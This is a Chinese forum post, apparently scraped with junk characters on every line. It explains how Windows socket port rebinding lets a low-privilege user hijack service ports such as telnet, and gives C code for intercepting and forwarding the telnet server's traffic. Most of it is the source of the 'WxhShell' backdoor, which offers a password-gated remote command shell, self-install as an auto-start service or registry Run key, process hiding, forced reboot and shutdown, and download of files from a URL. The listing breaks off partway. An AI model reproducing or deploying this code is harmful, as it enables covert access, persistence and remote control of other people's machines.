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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: + ?n81|7`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l;: L0(('  
 R:98'`X=  
  saddr.sin_family = AF_INET; D[m;rcl  
Ns2M8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >&tPIrz  
&'4id[$9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5Ya TE<G  
OWFLw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pq7G[  
q4<3 O"c1  
  这意味着什么?意味着可以进行如下的攻击: kJqgY|  
Qwb=N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n4+l, ~  
0.C y4sH'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _rXTHo7P  
Tm5]M$)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9D:p~_"g  
}<o.VY&;.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [k.|iCD  
S,Boutd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 " 4#V$V  
1HG~}E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ./LD  
>tnQuFKg]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zRdL-u%(#  
3'6%P_S  
  #include 2J =K\ L  
  #include n5A0E2!  
  #include 9D++SU2 :}  
  #include    ) f9f_^;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X>j% y7v  
  int main() Oemi}  
  { `:!mPNW#  
  WORD wVersionRequested; t\E#8  
  DWORD ret; %geiJ z  
  WSADATA wsaData; T>s~bIzL*e  
  BOOL val; F6R+E;"4R'  
  SOCKADDR_IN saddr; 5\}A8Ng  
  SOCKADDR_IN scaddr; -! Hn,93  
  int err; L6Ykv/V  
  SOCKET s; NS @j`6/U  
  SOCKET sc; -;cZW.<  
  int caddsize; C1^=se  
  HANDLE mt; 7A?~a_Ep  
  DWORD tid;   ~~k_A|&  
  wVersionRequested = MAKEWORD( 2, 2 ); LO<R<zz  
  err = WSAStartup( wVersionRequested, &wsaData ); @6 uB78U4O  
  if ( err != 0 ) { k'{'6JR  
  printf("error!WSAStartup failed!\n"); .ml24SeC  
  return -1; fEE[h uG  
  } DcA{E8Y  
  saddr.sin_family = AF_INET; *,X;4?:,  
   -hw^3Af  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }YWLXxb;  
bmVksi2b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,\q9>cZ!  
  saddr.sin_port = htons(23); nS)U+q-x&o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =.O8G=;DOA  
  { yjlX@YXnw  
  printf("error!socket failed!\n"); \\XvVi:B  
  return -1; L\}o(P(  
  } .'JO7of  
  val = TRUE;  -iWt~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z^+f3-Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U|. kAI*  
  { Ecp]fUQK  
  printf("error!setsockopt failed!\n"); Y~#m-y  
  return -1; ]3]I`e{  
  } =mxG[zDtQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  u)PB@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #4iSQ$0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^JZ]?iny  
e/JbRbZX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5xe} ljo  
  { \,)('tUE  
  ret=GetLastError(); L,c@Z@  
  printf("error!bind failed!\n"); =B@+[b0Z  
  return -1;  P_6oMR  
  } :["iBrFp  
  listen(s,2); F)_jW  
  while(1) rpH ,c[D  
  { _SdO}AiG  
  caddsize = sizeof(scaddr); ]:jP*0bLx  
  //接受连接请求 ~``oKiPg@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +U{8Mj  
  if(sc!=INVALID_SOCKET) 6U5L>sQ  
  { RhR{EO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VA + ?xk  
  if(mt==NULL) V:HxRMF2X  
  { t=o2:p6&  
  printf("Thread Creat Failed!\n"); l Os91+.%  
  break; / r6^]grg  
  } #&<>|m  
  } W5 ^eCYHoi  
  CloseHandle(mt); r:0F("},  
  } z5`AJrj%  
  closesocket(s); b>SG5EqU@  
  WSACleanup(); l =~EweuM  
  return 0; 5<ZE.'O  
  }   &{E1w<uv  
  DWORD WINAPI ClientThread(LPVOID lpParam) koDIxj'%X  
  { x6Zhw9RV  
  SOCKET ss = (SOCKET)lpParam; 1"tyxAo\  
  SOCKET sc; Pj(Dl C7G,  
  unsigned char buf[4096]; ChzKwYDY  
  SOCKADDR_IN saddr; OQ>8Q`  
  long num; :b t;DJ@  
  DWORD val; Em8q1P$tm>  
  DWORD ret; vOIK6-   
  //如果是隐藏端口应用的话,可以在此处加一些判断 A) {q 7WI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   & -L$B  
  saddr.sin_family = AF_INET; -{[5P!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .kKU MyW(  
  saddr.sin_port = htons(23); D! TFb E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ramYSX@  
  { N?7MYP  
  printf("error!socket failed!\n"); M ,!Dhuas  
  return -1; 7L3:d7=MIW  
  } ]e`&py E  
  val = 100; C#<b7iMg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Ld{Xg  
  { }#%3y&7M7  
  ret = GetLastError(); A$d)xq-]K  
  return -1; *} @Y"y  
  } Wk<heF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I)7STzlMj.  
  { b>g&Pf#N!  
  ret = GetLastError(); 2OT RP4U  
  return -1; 6L5j  
  } ]mIcK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8i$quHd&x  
  { Xa o*h(Q@L  
  printf("error!socket connect failed!\n"); ,',  S  
  closesocket(sc); { 3,_i66  
  closesocket(ss); 0xE37Ld,  
  return -1; |q| ?y`X4/  
  } <46> v<  
  while(1) GZ=7)eJ~<  
  { mQL8ec_c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U)CGRh8%+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U'4j+vUc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &.W,Hh  
  num = recv(ss,buf,4096,0); Y=G9|7*lO  
  if(num>0) .M(')$\U  
  send(sc,buf,num,0);  ;IV  
  else if(num==0) H(|n,c  
  break; @6["A'h  
  num = recv(sc,buf,4096,0); 4)Jtc2z7Z\  
  if(num>0) c_V^~hq  
  send(ss,buf,num,0); v@,n]"  
  else if(num==0) H){}28dX  
  break; #BPJRNXd  
  } eR1SPS1+  
  closesocket(ss); (U_`Q1Jo  
  closesocket(sc); vbA<=V*P  
  return 0 ; Kd='l~rby  
  } JRgrg &#  
|)TI&T;k  
~,Y xUn8@  
========================================================== f%,Vplb  
h@kq>no  
下边附上一个代码,,WXhSHELL WZ@hP'Zc  
rgo#mTQ_  
========================================================== yP<ngi^s=  
 ujin+;1  
#include "stdafx.h" z6'Cz}%EP'  
3#\++h]QZ  
#include <stdio.h> IvZ,|R?  
#include <string.h> 7{z\^R^O  
#include <windows.h> `GDWy^-Q+!  
#include <winsock2.h> -G'U\EXT  
#include <winsvc.h> nj1TX  
#include <urlmon.h> I8x,8}o>V  
wak:"B[  
#pragma comment (lib, "Ws2_32.lib") jm ORKX+)  
#pragma comment (lib, "urlmon.lib") WHF[l1  
MiK -W  
#define MAX_USER   100 // 最大客户端连接数 k`we_$/Gw  
#define BUF_SOCK   200 // sock buffer cMU"SO  
#define KEY_BUFF   255 // 输入 buffer 8_W=)w6  
8(3n v[  
#define REBOOT     0   // 重启 V><,.p8  
#define SHUTDOWN   1   // 关机 b#%$y  
-s3q(SH  
#define DEF_PORT   5000 // 监听端口 cy-o@U"s8  
UWXl c  
#define REG_LEN     16   // 注册表键长度 Ei HQ&u*  
#define SVC_LEN     80   // NT服务名长度 #zf,%IYF  
2`'g 9R  
// 从dll定义API ~:krJ[=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qkbGM-H%U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aRV .;S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WWEZTFL:j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8l.bT|#O  
ApD`i+Y@  
// wxhshell配置信息 s' 4O] k`  
struct WSCFG { Vi m::  
  int ws_port;         // 监听端口 L*6R5i>  
  char ws_passstr[REG_LEN]; // 口令 WEaG/)y  
  int ws_autoins;       // 安装标记, 1=yes 0=no eIDrN%3  
  char ws_regname[REG_LEN]; // 注册表键名 Xi~7pH  
  char ws_svcname[REG_LEN]; // 服务名 H*H~~yQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MD):g @  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;!hwcOkX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {{r.?m#{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &wa2MNCG8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,*kh{lJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tE8aL{<R  
h}y]Pt?  
}; Zxw cqN  
0SV<Pl^  
// default Wxhshell configuration eF"k"Ckt'  
struct WSCFG wscfg={DEF_PORT, 3<x1s2U  
    "xuhuanlingzhe", $2E&~W %  
    1, B"Ma<"HU  
    "Wxhshell", ey]WoUZ  
    "Wxhshell", M!wa }  
            "WxhShell Service", @B`nM#X#  
    "Wrsky Windows CmdShell Service", Ro@ =oyLE  
    "Please Input Your Password: ", >~;= j~  
  1, V8hmfV~=]P  
  "http://www.wrsky.com/wxhshell.exe", >Jk]=_%  
  "Wxhshell.exe" ^O3i)GO  
    }; p:NIRs  
GY t|[GC  
// 消息定义模块 ?CD[jX}!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; it$w.v+W7V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,p>@:C/M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0z$::p$%u  
char *msg_ws_ext="\n\rExit."; hHk9O?  
char *msg_ws_end="\n\rQuit."; $KVCEe!X  
char *msg_ws_boot="\n\rReboot..."; `%/w0,0  
char *msg_ws_poff="\n\rShutdown..."; G,}"}v:  
char *msg_ws_down="\n\rSave to "; |jB/d@RE  
R=J5L36F  
char *msg_ws_err="\n\rErr!"; @~QI3)=s  
char *msg_ws_ok="\n\rOK!"; 5S*aZ1t18  
5m yQBKE  
char ExeFile[MAX_PATH]; Q_)$Ha{>H,  
int nUser = 0; r>ag( ^J\  
HANDLE handles[MAX_USER]; =[:pm)   
int OsIsNt; kQ`p\}7_  
:Vy*MPS5  
SERVICE_STATUS       serviceStatus; m%cwhH_B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G3o`\4p  
}60/5HNr  
// 函数声明 3UX6Y]E3  
int Install(void); r+!29  
int Uninstall(void); hCb2<_3CR  
int DownloadFile(char *sURL, SOCKET wsh);  r4M;]  
int Boot(int flag); I8/tD|3  
void HideProc(void); c2u*<x  
int GetOsVer(void); mpNS}n6  
int Wxhshell(SOCKET wsl); ?_7iL?  
void TalkWithClient(void *cs); &;naaV_2T  
int CmdShell(SOCKET sock); TT oW>RP#  
int StartFromService(void); %i.Prckrb  
int StartWxhshell(LPSTR lpCmdLine); N;v]ypak  
9>@Vk vpY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R2A#2{+H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f~R+Q/Gtz`  
w! PguP  
// 数据结构和表定义 >QdT 7gB  
SERVICE_TABLE_ENTRY DispatchTable[] = !;UoZ~  
{ YrsE 88QqI  
{wscfg.ws_svcname, NTServiceMain}, q?qH7={,eu  
{NULL, NULL} Qb5@e#  
}; RF= $SMTk  
^ X-6j[".  
// 自我安装 OtbPr F5  
int Install(void) ^fQa whub  
{ CK#i 6!~r  
  char svExeFile[MAX_PATH]; NX5$x/uz  
  HKEY key; 81H9d6hqcD  
  strcpy(svExeFile,ExeFile); S%j W} v';  
Jflm-Hhsf  
// 如果是win9x系统,修改注册表设为自启动 J |w%n5Y  
if(!OsIsNt) { 8O_yZ ~Z4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DKF` xuJP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [$c"}=g[+  
  RegCloseKey(key); &`,Y/Cbw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h'+F'1=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8#w%qij  
  RegCloseKey(key); ME66BWg{  
  return 0; (^"2"[?a  
    } (((|vI3 <  
  } =ea.+  
} uvAJJIae'  
else { DkSs^ym  
uu.}<VM.1  
// 如果是NT以上系统,安装为系统服务 ?G<ISiABQC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sDY+J(Z  
if (schSCManager!=0) 4Y{;%;-i  
{ z+{xW7  
  SC_HANDLE schService = CreateService %=Y=]g2  
  ( gT(8.<h8  
  schSCManager, 8Wo!NG:V5  
  wscfg.ws_svcname, cbYQ';{  
  wscfg.ws_svcdisp, gquvVj1oT  
  SERVICE_ALL_ACCESS, 1xr2x;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (I#mo2  
  SERVICE_AUTO_START, EywBT  
  SERVICE_ERROR_NORMAL, G)q;)n;*=  
  svExeFile, wD:2sri  
  NULL, :cf#Tpq"  
  NULL, K)  Ums-b  
  NULL, !L@<?0x LW  
  NULL, Bg] %  
  NULL Ldj*{t `5  
  ); xS:n  
  if (schService!=0) ==BOW\  
  { Ss0I{0  
  CloseServiceHandle(schService); 8 C9ny}  
  CloseServiceHandle(schSCManager); F B:nkUR`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sm;kg=  
  strcat(svExeFile,wscfg.ws_svcname); H@u5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %E"v@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ddN G :  
  RegCloseKey(key); :>/6:c?atG  
  return 0; CYlS8j  
    } -$X4RS  
  } h#c7v !g  
  CloseServiceHandle(schSCManager); zkiwFEHA=  
} Abi(1nXdQ  
} Yep~C %/}  
hzU(XW  
return 1; ExMd$`gW  
} #WJ*)$A@&  
1{wbC)  
// 自我卸载 8.>himL  
int Uninstall(void) ]G D` f  
{ \ @[Q3.VX  
  HKEY key; eco&!R[G  
[ [pt~=0  
if(!OsIsNt) { I~6 o<HO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $4}G  
  RegDeleteValue(key,wscfg.ws_regname); 'kco. 1{  
  RegCloseKey(key); 7A) E4f'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X# /c7w-  
  RegDeleteValue(key,wscfg.ws_regname); rLE+t(x(0  
  RegCloseKey(key); @SyL1yFX  
  return 0; 7xQ:[P!G+  
  } \*Yr&Lm  
} N!MDD?0  
} 1/~=61msc  
else { ?D6|~k i  
^ g|VZN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~@)s)K  
if (schSCManager!=0) !A1~{G2VL_  
{ Vh>cV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rlA/eQrS  
  if (schService!=0) 1D3 8T  
  { Dx`-h#  
  if(DeleteService(schService)!=0) { ?3 k_YN"  
  CloseServiceHandle(schService); znPh7{|<  
  CloseServiceHandle(schSCManager); 0~K&P#iR  
  return 0; [3I|MZ  
  } JT!9LNh;R`  
  CloseServiceHandle(schService); .c:h!-D;  
  } sei2\l8q  
  CloseServiceHandle(schSCManager); PEm2w#X%L  
} u1Slu%^e  
} N>,`TsUwW  
"DA%vdu  
return 1; _Gf-s51s  
} M0~%[nX  
W &:0J  
// 从指定url下载文件 F>3 o0ke}  
int DownloadFile(char *sURL, SOCKET wsh) k& +gkJm  
{ _ziSH 3(  
  HRESULT hr; .c ~z^6x  
char seps[]= "/"; D/~1?p  
char *token; vy7/  
char *file; q*|Alrm  
char myURL[MAX_PATH]; EFljUT?&  
char myFILE[MAX_PATH]; K5|~iW'  
>Q!}tbg~9  
strcpy(myURL,sURL); HZZZ [km  
  token=strtok(myURL,seps); P.5l9N s(O  
  while(token!=NULL) L<0_e^8  
  { # =tw ,S  
    file=token; Z/:F)c,x  
  token=strtok(NULL,seps); )5LT!14  
  } 6_])(F3+w.  
y(MB _B7j  
GetCurrentDirectory(MAX_PATH,myFILE); N%xCyZ  
strcat(myFILE, "\\"); [U8/nT  
strcat(myFILE, file); -egnMc67  
  send(wsh,myFILE,strlen(myFILE),0); DyCzRkH  
send(wsh,"...",3,0); R y#C#0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hz."4nhv  
  if(hr==S_OK) ~59lkr8  
return 0; ooUVVp  
else -{ 1P`&G  
return 1; <Q/)SN6_E  
GCq4{_B\Q  
} L!zdrCM  
Q}OloA(+  
// 系统电源模块 .=TXi<8Brw  
int Boot(int flag)  \20} /&  
{ 0VSIyG_Z  
  HANDLE hToken; "n` z`{<n  
  TOKEN_PRIVILEGES tkp; @$n $f  
!CcDA/0  
  if(OsIsNt) { yDKH;o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1=C12  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T|wz%P<J  
    tkp.PrivilegeCount = 1; D|*w6p("z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L;u5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wp8>Gfb2  
if(flag==REBOOT) { |[Fb&x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hN6wp_  
  return 0; Vjv6d&Q  
} `Ucj_6&Tqs  
else { D@gC(&U/6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~M-L+XZl(  
  return 0; 3&7? eO7*  
} VGD~) z57  
  } *oz#YGNm  
  else { 2#R$-* ;#  
if(flag==REBOOT) { a-Y6ghs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) un_NBv}  
  return 0; ]!"w?-h Si  
} rFpYlMct  
else { @4T   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GI/NouaNfm  
  return 0; ,++HiYOG}e  
} 8R!-,I"$  
} 0VtjVz*C7&  
c{I]!y^!  
return 1; Cm)TFh6  
} n19A>,m  
GHd1?$  
// win9x进程隐藏模块 {+hABusq  
void HideProc(void) .=J- !{z  
{ o cW~I3  
XV]xym~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8+}rm6Y+  
  if ( hKernel != NULL ) <3BGW?=WP  
  { l3>e-kP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x0J W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bRy(`  
    FreeLibrary(hKernel); q%])dZ!lE  
  } #<b\BqYG  
5)T[ha77u  
return; [;Lgbgt3f  
} V&:x+swt  
/qy6YF8;y  
// 获取操作系统版本 m\XsU?SuX  
int GetOsVer(void) ygIn6.p  
{ %K|f,w=m  
  OSVERSIONINFO winfo; M' z.d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g^+p7G  
  GetVersionEx(&winfo);  5)'Y\~2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ajk}&`Wj"  
  return 1; B2Y.1mXq  
  else NL$z4m0  
  return 0; GkI'.  
} XdCP!iq*8  
E#:!&{O  
// 客户端句柄模块 =EFh*sp  
int Wxhshell(SOCKET wsl) /Tm+&Jd  
{ 2A~o)7JaZ  
  SOCKET wsh; r/'!#7dLG-  
  struct sockaddr_in client; |{kbc0*  
  DWORD myID; lr~ |=}^  
ial{A6X  
  while(nUser<MAX_USER) 4x[_lsj   
{ rIcgf1v70  
  int nSize=sizeof(client); yjL+1_"B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?SFQx \/  
  if(wsh==INVALID_SOCKET) return 1; j [lS.Lb  
06^/zr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^.8~}TT-U  
if(handles[nUser]==0) A1+:y,wXs  
  closesocket(wsh); A(E}2iP9=  
else 3{?X>6T  
  nUser++; s2SV   
  } m8{8r>6*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N s0,Z#Z+  
"ymR8 y'  
  return 0; 5s3QN{h8  
} yPtE5"(o  
K*T^w3=  
// 关闭 socket tW|0_m>{  
void CloseIt(SOCKET wsh) /-FV1G,h  
{ Itr 4 Pr  
closesocket(wsh); #%nV\ Bl  
nUser--; T,9q~*"  
ExitThread(0); S!u8JG1  
} 6WZffB{-TK  
\f^xlX3&`  
// 客户端请求句柄 ca7Y+9< ;  
void TalkWithClient(void *cs) EQ~<NzRp=  
{ %50)?J=zB  
*Igb3 xK%  
  SOCKET wsh=(SOCKET)cs; G7"(,L` 5  
  char pwd[SVC_LEN]; \;~Nj#  
  char cmd[KEY_BUFF]; N? Jy  
char chr[1]; 3#t#NW*e  
int i,j; f EL 9J{  
d%0Gsga}  
  while (nUser < MAX_USER) { q`r| DcN~  
4Z%1eOR9V  
if(wscfg.ws_passstr) { /A,w{09G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . KLEx]f.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rN|=cn  
  //ZeroMemory(pwd,KEY_BUFF); p =nbsS~":  
      i=0; 5Z_C (5)/Y  
  while(i<SVC_LEN) { zTB&Wlt  
^zV_ vB)n  
  // 设置超时 C\5G43`  
  fd_set FdRead; QyVAs;  
  struct timeval TimeOut; )S+fc=  
  FD_ZERO(&FdRead); vx($o9  
  FD_SET(wsh,&FdRead); XjL3Ar*  
  TimeOut.tv_sec=8; &j1-Ouy  
  TimeOut.tv_usec=0; J1I,;WGf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _"@:+f,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Up?RN%gq  
<!>\ n\A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tlp,HxlP  
  pwd=chr[0]; P#V!hfM  
  if(chr[0]==0xd || chr[0]==0xa) { G1jj:]1  
  pwd=0; e&ysj:W5 "  
  break; *`"+J_   
  } #'1dCh vZ  
  i++; /Z?o%/bw:  
    } P05`DX}r,  
-V{"Lzrfug  
  // 如果是非法用户,关闭 socket 7d%x7!E   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,uC-^T |n  
} u@e.5_:S)  
1}la)lC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k^;n$r"i5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wO%lM  
+U<YM94?  
while(1) { B@M9oNWHu  
<9X@\uvU.<  
  ZeroMemory(cmd,KEY_BUFF); yR|2><A  
uFSU|SDd.  
      // 自动支持客户端 telnet标准   5GScqY,aB  
  j=0; i!}k5k*Z  
  while(j<KEY_BUFF) { n?cC]k;P~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Okmurnn  
  cmd[j]=chr[0]; .5a>!B.I  
  if(chr[0]==0xa || chr[0]==0xd) { _2G _Io  
  cmd[j]=0; LXX('d  
  break; HJ]v-  
  } >D!R)W`  
  j++; .+(V</  
    } F\+AA  
50 Gr\  
  // 下载文件 '(B -{}l  
  if(strstr(cmd,"http://")) { ~wuCa!!A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EQlb:;j  
  if(DownloadFile(cmd,wsh)) \54B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %dPk,Ylz  
  else &J2 UAmB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s9sl*1n1m`  
  } FtyT:=Kpc  
  else { |#o' =whTl  
N2s"$Ttq  
    switch(cmd[0]) { }UsH#!9.  
  %pq.fZ I   
  // 帮助 G?$o+Y'F  
  case '?': { ^L $`)Ja  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ty&1R?  
    break; YSGE@  
  } hQx*#:ns  
  // 安装 ben-<3r  
  case 'i': { |OCiq|#  
    if(Install()) f> Jj5he/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs"=o>Qu  
    else 6 agG*x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {rMf/RAE  
    break; 36OQHv;&  
    } SeXgBbGAne  
  // 卸载 9Zl4NV&B  
  case 'r': { z9IW&f~~P  
    if(Uninstall()) u]NsCHKlT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c>D~MCNxg  
    else UZs '[pm)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jkj7ty.J  
    break; kl:/PM^  
    } Ywhhs }f  
  // 显示 wxhshell 所在路径 H(.9tuA  
  case 'p': { GYQ:G=  
    char svExeFile[MAX_PATH]; 5r 4~vK  
    strcpy(svExeFile,"\n\r"); 7I w^  
      strcat(svExeFile,ExeFile); ZPw4S2yw3.  
        send(wsh,svExeFile,strlen(svExeFile),0); c\o_U9=n  
    break; w~Q\:<x&~Z  
    } Sc{&h8KMTb  
  // 重启 DDkN3\w  
  case 'b': { h?dSn:Y\?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); heIys.p  
    if(Boot(REBOOT)) D+uo gRS61  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQ:$m5ai  
    else { j;}-x1R  
    closesocket(wsh); s:6K'*  
    ExitThread(0); jGo%Aase  
    } ZVH 9je  
    break; )x\%*ewY  
    } Xk|a%%O*H  
  // 关机 i/_rz.c~3  
  case 'd': { f91]0B `C  
